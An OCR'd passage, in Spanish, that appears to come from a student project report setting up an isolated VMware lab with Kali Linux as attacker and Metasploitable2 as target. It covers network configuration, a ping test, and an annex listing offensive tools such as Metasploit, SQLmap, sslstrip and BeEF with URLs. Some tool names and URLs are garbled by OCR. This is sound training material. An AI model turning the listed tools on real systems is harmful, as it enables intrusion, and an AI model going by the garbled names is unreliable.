Todo el proyecto se ejecuta en una sola maquina en una red doméstica, en este caso es
mi ordenador personal cuyas caracteristicas son:

e Procesador: AMD Phenom Il x4 955
e RAM: 12 Gb
e Disco duro: 250Gb SSD + 1Tb HDD

Es conveniente disponer de un ordenador que pueda soportar varias maquinas activas
a la vez. Para emular las maquinas virtuales (VM) se usard VMware Workstation 9. El
proceso de instalacién es trivial, lo Unico a destacar es que cada VM deberia contar con
suficiente memoria RAM para evitar cuelgues. En este caso cada maquina tiene entre 2
y 4Gb de RAM y 20Gb de memoria fisica.

Una vez activadas las mdaquinas debemos configurar la conectividad de red (no
deberiamos tener Metasploitable abierta a Internet para evitar problemas). Para ello en
la mayoria de las pruebas debemos sefialar que el adaptador de red se va a conectar en
modo Host-only. Sefialamos la VM y abrimos la configuracién de red desde Edit->Virtual
Network Editor:

Hardware  Qptions

) Device status
Device Summary
] C ted
0 Memory 4GB onnec
[d Processors 4 Connect at power on
(=i Hard Disk (5CST) 20 GB .
“ CO/OVD (IDE) Using file C:\Users\Alvaro\Deskta. .. Netwark connection
Floppy Auto detect () Bridged: Connected directly to the physical netwark
ElNetwork Adapter Host-only Replicate physical network connection state
USE Controller Present
@ | Sound Card Auto detect (COINAT: Used to share the host's IP address
= Printer Present @ Host-only: A private network shared with the host
@Display Auto detect (D) Custom: Spedific virtual network

WMnetd
O LAM segment:

LAM Segments... | | Advanced...

Add... Remove

QK Cancel Help
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Una vez configuradas las VM la red nos quedaria de la siguiente manera:

Virtualizacion

_J ’
PC-PT
Kali 192.168.101.128
—
[ e ?- - —— -l A ,
— 2050-24 \\_ [: PC-PT
Router-FT-Empty PC-PT

YMware
Router Maestro . 192.168.101.130

'
PC-PT
Metasploitable 192.168.101.129

En este ejemplo solo se han sefialado tres maquinas, el resto irian consecuentemente
afiadidas a la red VMware.

Haciendo una prueba de ping nos aseguramos que las VM estdn conectadas entre si,
pero no con el router. Es conveniente realizar esta prueba antes de montar el resto de
las pruebas del proyecto.

~# ping 192.168.1.1
connect: Network is unreachable

:~# ping 192.168.101.129
PING 192.168.101.129 (192.168.101.129) 56(84) bytes of data.
64 bytes from 192.168.101.129: icmp_seq=1 tt1=64 time=11.0 ms
64 bytes from 192.168.101.129: icmp_seq=2 ttl=64 time=0.345 ms
64 bytes from 192.168.101.129: icmp_seq=3 ttl=64 time=0.389 ms

64 bytes from 192.168.101.129: icmp seq=4 ttl=64 time=0.371 ms
o &

--- 192.168.101.129 ping statistics ---

4 packets transmitted, 4 received, 0% packet loss, time 3002ms
rtt min/avg/max/mdev = 0.345/3.043/11.070/4.634 ms

~#

Hay momentos en los que puede interesar abrir la conexion a Internet como por ejemplo
para descargar/actualizar paquetes o software. Para eso volvemos a la configuracion de
red y cambiamos el tipo de red a Bridged. Las direcciones de red deben cambiarse
automaticamente a las de nuestra red domestica. (Especial cuidado al asignar
direcciones estaticas en las VM)

Una vez montada la red partimos del escenario clasico:

e Kali Linux se utilizarda como maquina atacante por su naturaleza.

e Una de las maquinas sera la encargada de proporcionar un servicio. En este
proyecto sera con preferencia Metasploitable2.

e El resto de las maquinas se encargan de acceder al servicio y generar tréafico. Es
posible que pueda interesar distinguir el trafico segun el sistema operativo, por
eso se da la eleccidn de generar el trafico con cualquier sistema.
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Anexo 2: Software y herramientas

Software Kali Pagina oficial

Kali Linux S.0. https://www.kali.org/

Cisco Packet * http://www.cisco.com/web/learning/netacad/course catalog/PacketTracer.html
Tracer

Maltego v https://www.paterva.com/

Nmap v https://nmap.org/

Sparta v http://sparta.secforce.com/

pOf v http://Icamtuf.coredump.cx/p0f3/

Metasploit v https://www.metasploit.com/

Framework

Wireshark v https://www.wireshark.org/

TheHarvester v http://www.edge-security.com/theharvester.php

Nikto v https://cirt.net/Nikto2

Arpspoof v https://www.monkey.org/~dugsong/dsniff/ (Parte del paquete dsniff)
Ssistrip v https://moxie.org/software/sslstrip/

Driftnet v http://www.ex-parrot.com/~chris/driftnet/

SQLmap v http://sqlmap.org/

XSSer v https://xsser.03c8.net/

EvilFOCA x https://www.elevenpaths.com/es/labstools/evil-focasp/index.html
BeEF v http://beefproject.com/

Yersinia v http://www.yersinia.net/

Cain&Abel x http://www.oxid.it/cain.html

Marmita x http://www.unlearningsecurity.com/2012/03/marmita-13-is-out.html
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